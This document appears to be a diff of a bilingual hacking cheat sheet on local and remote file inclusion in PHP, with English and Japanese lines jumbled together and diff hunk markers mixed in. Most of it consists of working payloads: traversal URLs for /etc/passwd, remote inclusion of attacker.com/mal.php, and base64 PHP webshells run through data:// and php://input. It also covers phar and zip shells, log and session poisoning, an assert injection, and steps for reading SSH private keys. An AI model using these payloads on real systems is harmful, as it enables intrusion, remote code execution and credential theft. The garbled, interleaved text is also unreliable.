http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -153,19 +134,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数の特定**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は、予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにテストがしばしば必要です。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
**この脆弱性はPHP 5.3で修正されました。**
### **フィルターバイパストリック**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -173,59 +152,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## リモートファイルインクルージョン
## Remote File Inclusion
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してb64 PHPコードをデコードし、RCEを取得することができます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
Another example **not using the `php://` protocol** would be:
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、その文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
別の例は **`php://` プロトコルを使用しない** ものです:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
## Python ルート要素
In python in a code like this one:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
ユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスは単に削除されます**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次の通りです:
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
## Java ディレクトリのリスト
## Java List Directories
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
## Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
## トップ25パラメータ
ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです[link](https://twitter.com/trbughunters/status/1279768631845494787) から):
```
?cat={payload}
?dir={payload}
@ -253,41 +220,39 @@ Heres list of top 25 parameters that could be vulnerable to local file inclus
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な**修正操作を実行**することを許可します。フィルターには5つのカテゴリがあります
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて)
- このフィルターは、現代のPHPのバージョンからは消えています
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を抽出する場合に便利)
- `zlib.inflate`: データを解凍します
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- `mcrypt.*` : 非推奨
- `mdecrypt.*` : 非推奨
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
- `consumed`
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
@ -314,44 +279,40 @@ echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> The part "php://filter" is case insensitive
> "php://filter"の部分は大文字と小文字を区別しません
### Using php filters as oracle to read arbitrary files
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用してファイルをブール的に抽出する文字ごとに**ことに基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- コーデック**`UCS-4LE`**を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数であるかどうかを知ることができます。
- これに加えて前述のものおよび推測された文字に応じた他のフィルタを組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数であれば、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
- 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することですこれにより、初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに到達するまで続けます。
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
投稿には、これを自動的に実行するツールも漏洩しています:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を抽出するのに潜在的に役立ちます:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスすることもできます(攻撃にどのように役立つかは不明です)。
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
### zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it.\
In order to be able to abuse the rar protocol it **need to be specifically activated**.
### zip:// と rar://
PHPShellを含むZipまたはRarファイルをアップロードしてアクセスします。\
rarプロトコルを悪用できるようにするには、**特に有効化する必要があります**。
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -366,9 +327,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -378,30 +337,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
このプロトコルは、phpの設定 **`allow_url_open`** と **`allow_url_include`** によって制限されています。
### expect://
Expect has to be activated. You can execute code using this:
Expectを有効にする必要があります。これを使用してコードを実行できます:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Specify your payload in the POST parameters:
POSTパラメータにペイロードを指定してください
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
`.phar`ファイルは、ウェブアプリケーションがファイル読み込みのために`include`のような関数を利用する際に、PHPコードを実行するために使用できます。以下のPHPコードスニペットは、`.phar`ファイルの作成を示しています:
```php
<?php
$phar = new Phar('test.phar');
@ -410,18 +363,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
To compile the `.phar` file, the following command should be executed:
`.phar`ファイルをコンパイルするには、次のコマンドを実行する必要があります:
```bash
php --define phar.readonly=0 create_path.php
```
実行時に `test.phar` という名前のファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
`.phar` ファイルのコンテキストにおけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -431,95 +381,88 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を取得することが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更する** ことができ、任意のアドレスに **何でも書き込む** ことができるようになり、**`system`** を呼び出すためのフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。
### More protocols
### その他のプロトコル
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
## LFI via PHP's 'assert'
## PHP の 'assert' を介した LFI
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
```bash
assert("strpos('$file', '..') === false") or die("");
```
While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Similarly, for executing arbitrary system commands, one might use:
同様に、任意のシステムコマンドを実行するために、次のようなものを使用することがあります:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
これらのペイロードを**URLエンコードすることが重要です**。
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに関与する
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていく
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
## PHP Blind Path Traversal
## PHPブラインドパススラベル
> [!WARNING]
> This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
> この技術は、**ファイルの内容**を見ることはできないが、**ファイルパス**を**制御**する**PHP関数**が**ファイルにアクセス**する場合に関連しています(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
要約すると、この技術は**"UCS-4LE"エンコーディング**を使用して、ファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これで読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
技術的な詳細については、前述の投稿を確認してください!
## LFI2RCE
### Remote File Inclusion
### リモートファイルインクルージョン
Explained previously, [**follow this link**](./#remote-file-inclusion).
前述の通り、[**このリンクをフォローしてください**](./#remote-file-inclusion)。
### Via Apache/Nginx log file
### Apache/Nginxログファイル経由
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートが文字列"_**quote;**_"に変更され、**PHPはエラーをスロー**し、**他の何も実行されません**。
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスがありません。
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
他の可能なログパス:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -531,97 +474,80 @@ Other possible log paths:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### メール経由
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
**メールを送信** して、PHPペイロード `<?php echo system($_REQUEST["cmd"]); ?>` を含む内部アカウント (user@localhost) に送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます。
### Via /proc/\*/fd/\*
### /proc/\*/fd/\* 経由
1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
1. 多くのシェルをアップロードします (例えば: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで、$PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能)
### Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
### /proc/self/environ 経由
ログファイルのように、User-Agent にペイロードを送信します。これにより、/proc/self/environ ファイル内に反映されます。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### アップロード経由
### Via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
ファイルをアップロードできる場合は、その中にシェルペイロードを注入してください(例: `<?php system($_GET['c']); ?>` )。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
ファイルを読みやすく保つためには、画像/doc/pdfのメタデータに注入するのが最適です。
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
### Zipファイルのアップロード経由
PHPシェルを圧縮したZIPファイルをアップロードし、アクセスします:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Check if the website use PHP Session (PHPSESSID)
ウェブサイトがPHPセッションPHPSESSIDを使用しているか確認してください。
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]\_ファイルに保存されます。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
クッキーを `<?php system('cat /etc/passwd');?>` に設定します。
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
LFIを使用してPHPセッションファイルを含めます
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa**
